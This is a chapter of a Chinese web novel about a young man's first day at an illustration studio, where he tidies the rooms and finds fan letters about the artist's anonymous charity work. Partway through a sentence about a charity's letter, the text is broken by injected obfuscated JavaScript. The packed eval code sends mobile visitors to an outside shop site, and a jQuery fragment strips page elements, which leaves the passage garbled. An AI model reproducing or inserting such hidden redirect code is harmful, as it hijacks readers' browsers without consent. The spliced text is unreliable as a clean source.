绘爱工作室在南山路一栋老洋房的三楼。铁艺楼梯在转角处收窄，脚步声会被放大。齐星光推开那扇深绿色木门时，门轴发出轻微的吱呀声。
窗外，梧桐叶正落得纷纷扬扬，一片金黄贴在拱形玻璃窗上，又被风卷走。
玄关的嵌入式展柜里，2019年博洛尼亚国际插画展的金奖证书斜靠着，玻璃上有指纹印。
他驻足片刻，目光扫过展柜里的其他物件：一枚法兰克福书展的参展徽章，一本《浮光纪》的法语版样书，一张合影——肖怡站在中间，戴着口罩，只露出一双眼睛，两个金发外国人。
“先坐，露露会带你。”于姐的声音从西南角的办公室传来。她没抬头，笔尖在纸上顿住，墨水洇出一个点——她听到了他的脚步声，但没听到第二个人。
齐星光把包放下，没坐。他走向公共工作区靠窗的空位，
“之前是小林坐的，她走了之后东西没收，你可以用。”露露从文件筐后探出头，圆眼镜滑到鼻尖。她手里还攥着一封拆开的信，
球球拎着四杯咖啡进来，卷发上还沾着一片梧桐叶——他每天都这个时辰回来，像某种生物钟。
“新来的？”他把咖啡放在露露桌上，一杯推向于姐办公室门口，最后一杯犹豫了一下，搁在齐星光桌角，“……多买了一杯。”
“谢谢。”齐星光没客气。
球球坐回自己的位置，摘下那片梧桐叶，揉成一团扔进垃圾桶。
于姐走出来，三人像被无形的线牵着，聚在公共区中段。
“今天三件事，”于姐说，“第一，周五版权签约，球球确认CC公司的合同条款，特别是衍生品分成比例。第二，周末签售会，露露核对粉丝名单和安保方案。第三——”她顿了顿，看向齐星光，“新来的，周五接老板，地址我发你。”
齐星光点头，心跳漏了一拍。
”就这些。”于姐合上台账，“散。”
三人各自归位，没有多余的话。
他坐下，打开电脑。邮箱是空的——他还没有权限接入工作室系统。于姐没提，他也没问。
上午剩下的时间，他接了四通电话。两通是粉丝询问新作进展，一通是出版社催稿，一通是某小学希望邀请云上眠做线上讲座。他用便签纸记录，贴在电话机旁，按于姐的格式：时间/来电方/诉求/处理建议。
露露偶尔从信堆里抬头看他一眼，又低下头。球球戴着耳机打电话，声音压得极低，但齐星光听到几个词：“博洛尼亚”“展位费”“明年三月”。
齐星光绕进了另一个门半掩的房间，完全就是一个储藏室，七八个像是冰箱大小的箱子摞在一起，上面已经积了许多灰尘。
他连打了两个喷嚏，然后问道，“这些都是什么东西？”
“各地粉丝寄来的礼物。”球球的声音从身后传来。
“怎么都堆在这儿？”
“前几年老板生病，几乎断了所有联系，我们也很少见到她。礼物实在太多了，就暂时收在这里了。”球球解释。
“所以现在工作室明令不收任何礼物了，除了信件。”露露抱着一叠文件经过，轻声补充。
齐星光推开窗户，秋天冰凉的空气从窗口灌了进来，湿湿的，清新的。
球球回了自己办公室，戴上耳机开始看电影。露露则埋首在一堆信件里，仔细筛选哪些是粉丝来信、哪些是公务函件，几乎没抬过头。
他的目光再次扫过这个空间——歪斜的画，凌乱的书架，积灰的角落，随意堆放的作品集。他先是走到墙边，用抹布将那几幅歪斜的画仔细擦净、扶正、挂好。接着搬来椅子，踩上去将靠墙的格子架从上到下擦了一遍。又在工具架上找到剪刀，将地上那些成捆的作品集一一剪开绳子，按系列与出版时间分类，整齐码放在书架最醒目的那一层。有的封面朝外，有的书脊对齐，色彩错落，竟摆出了些许展览的韵味。
他找到洗手间，拧了块湿抹布回来。踩上椅子，仔细擦拭画框玻璃上薄薄的浮尘。肖怡大学时的笔触在干净的玻璃后清晰起来——那是一幅夜色中的教学楼，窗户透出零星灯火，树下有个很小很小的人影，独自站着。
齐星光盯着那身影看了几秒，轻轻将画框扶正。
接下来是书架。
他搬来梯子，从最上层开始。灰尘比想象中厚，抹布很快变成灰色。一格一格往下，动作有条不紊。擦到中层时，他发现几本精装画册被随意塞在角落，书脊已经有些磨损。
他小心地抚平卷起的书角，将它们移到更醒目的位置。
地上的作品集捆得杂乱。他找来剪刀，蹲下身，一根根剪断塑料绳。纸页散开，露出各色封面——有温暖明亮的童话系列，也有色调沉郁的都市插画集。他按出版年份和主题分类，一本本重新排列。有的封面朝外展示，有的书脊对齐，色彩渐渐在书架上形成渐变的韵律。
做完这些，他已微微出汗。
脱掉毛衣，只剩一件白色T恤。袖子挽到手肘，露出线条清晰的小臂。
最棘手的还是储物间那些箱子。
刚一靠近，灰尘就呛得他鼻子发痒，连连打喷嚏。箱子里大多是玩偶，保存得倒好，都套着防尘袋。最上面是一只很大的猫咪布偶，脖子上系着一条迷你三角巾。他取下来试了试，大小正好能当口罩。
“这样好多了。”他自言自语。
他将一袋袋玩偶取出，底下露出许多明信片。他随手翻开几张。
日期最集中的是肖怡“消失”的那两年。
{云上眠，希望你保重身体，尽快创作出新的作品来。}
{云上眠，你的社交平台停止更新了，不知道明信片可以收到吗？这里是漠河，离你很远很远，这里已经下雪了，像是面粉一样，软软的，有激光的时候，躺在雪地里，好像是你画中的世界。希望你能来看看。}背面是极光掠过星夜的明信片，冰雪大地皎洁无瑕。
还有从北海寄来的：{今天和爷爷出海又见到了海豚，我向它们许愿你一切安好。}画面上一群海豚跃出碧蓝的海面。
……
齐星光慢慢整理着，动作不自觉地放轻。
然后他打开了一封信。信封是浅黄色的，字迹稚嫩但工整：
“云上眠姐姐，展信快乐。我是小听，来自XX学校，感谢您为我们捐款，捐赠图书和冬衣。老师说您是个画师，还给我们看了你的画。那是一个很神奇的世界，好像发生的一切不美好的东西最终都会变好。小松鼠也会躲在树洞里，大象也会在小山后面藏起来。上次你来的时候，静静地陪着我坐在角落好久好久，只是看着我，你的眼睛里有亮亮的东西，一闪一闪，一会儿像是开花，一会儿又变成闪电，好神奇。我们还能在学校见到你吗？小听”
齐星光指尖在信纸上停留片刻，轻轻叹了口气。
他又翻出几封类似的信。有山区小学老师代笔的感谢信，有自闭症儿童康复中心寄来的活动照片——照片里，肖怡蹲在孩子们中间，手里拿着画笔，侧脸的表情是他从未见过的柔软。
还有一封信来自某公益组
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17597007|205375||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
织，详细记录了肖怡连续三年匿名捐款的明细，以及她参与过的十二次线下美术支教活动。最近一次是两年前，正是她“消失”前夕。
齐星光坐在地上，背靠着纸箱，一封封看过去。在一封封来信中，他逐渐拼凑出一个自己从未了解的肖怡。她的世界远比自己想象中更加丰富，更加友善。她捐助过特殊学校，亲自到现场与自闭症儿童们画画，去山区教了半年美术，带着孩子们观察日落、记录花开。她鼓励他们打破习惯，勇敢想象。可这样的她，却对身边人竖起高墙？这些温暖的痕迹，是被她刻意遗忘，还是连她自己都未曾好好看过？
“天呐~！”
一声惊呼打断他的思绪。齐星光抬头，看见于姐拎着打包袋站在中厅，眼睛瞪得圆圆的。
他迅速将已拆阅的信件收拢，小心地装进一个小纸箱。
露露扶了扶圆眼镜，从信堆和电脑表格中茫然抬头。
球球摘下耳机走出办公室。
三人望着眼前熟悉又陌生的一切，一时说不出话。
房间变了。墙上的画整齐归位，在午后阳光下泛着温和的光泽。沙发靠枕拍得蓬松，摆成舒服的角度。靠墙的格子架一尘不染，肖怡的作品集按系列铺满整整两层，像小型展览。上层整齐码放着那些玩偶，猫咪布偶坐在最中央，红色三角巾成了亮眼的点缀。
沙发旁的茶水区，零食分门别类，胶囊咖啡机光洁如新。所有杯子按大小排列在沥水架上。会议室地面光可鉴人，桌椅井然有序。
几人循声走进储物间，发现那几个巨大的纸箱已不见踪影，只剩两张桌子并排摆放整齐。
齐星光闻声抬头，正对上三双瞪圆的眼睛。
“于姐回来了？”他直起身，顺手拍了拍沾灰的裤腿。
“这些……全是你一个人整理的？”于姐率先开口。
“顺手的事。”齐星光将装信的箱子搁在桌上，活动了下酸痛的肩背。
球球感叹：“年轻人，真是活力满满啊。”
露露笑得眼睛弯弯：“小光快来，于姐给我们带了午饭！”
于姐望着齐星光，眼底泛起一丝温和的笑意。这个年轻人的出现，像一扇忽然推开的窗，让这个沉寂太久、几乎快被遗忘的工作室角落，重新流进了新鲜的空气与光。就像沉寂两年多的肖怡，终于带着新作品重新归来一样。
回家的路上，齐星光才感到全身肌肉隐隐酸疼。方向盘在手中，他无奈地笑笑：“”干太猛了……该分几天慢慢来的。”
走到小区口，又去取回了爸爸寄来的土豆。可真是实在啊，整整一箱子。他轻轻一用力差点没抱起来。放回车后排，找到路边犄角旮旯的停车位后，抬头一看距离家还有很远一段距离，他已经完全完全没有力气将这箱土豆搞回去了。
在车里坐了会儿，他认命地解开安全带下车。打开后车门，弯腰从纸箱里掏出五六个土豆，塞进外套口袋。口袋瞬间沉甸甸地坠下去。
“算了，先拿这些。剩下的……明天再说。”
关上车门前，他又伸手掏了五六个土豆塞进外套口袋。
“今晚烤几个，犒劳自己。”
忙碌时心是静的，此刻独处，那份忐忑却又漫了上来。他去工作室本就是为了靠近肖怡，可真要见面了，反而心慌。她那样阴晴不定——前一天温柔如知己，后一天便消失无踪；提起豆豆时仿佛灵魂相通，豆豆走后却又退回陌生人的距离。
如果她知道新来的助理是他，会不会立刻让他走？以她的性子，绝对做得出来。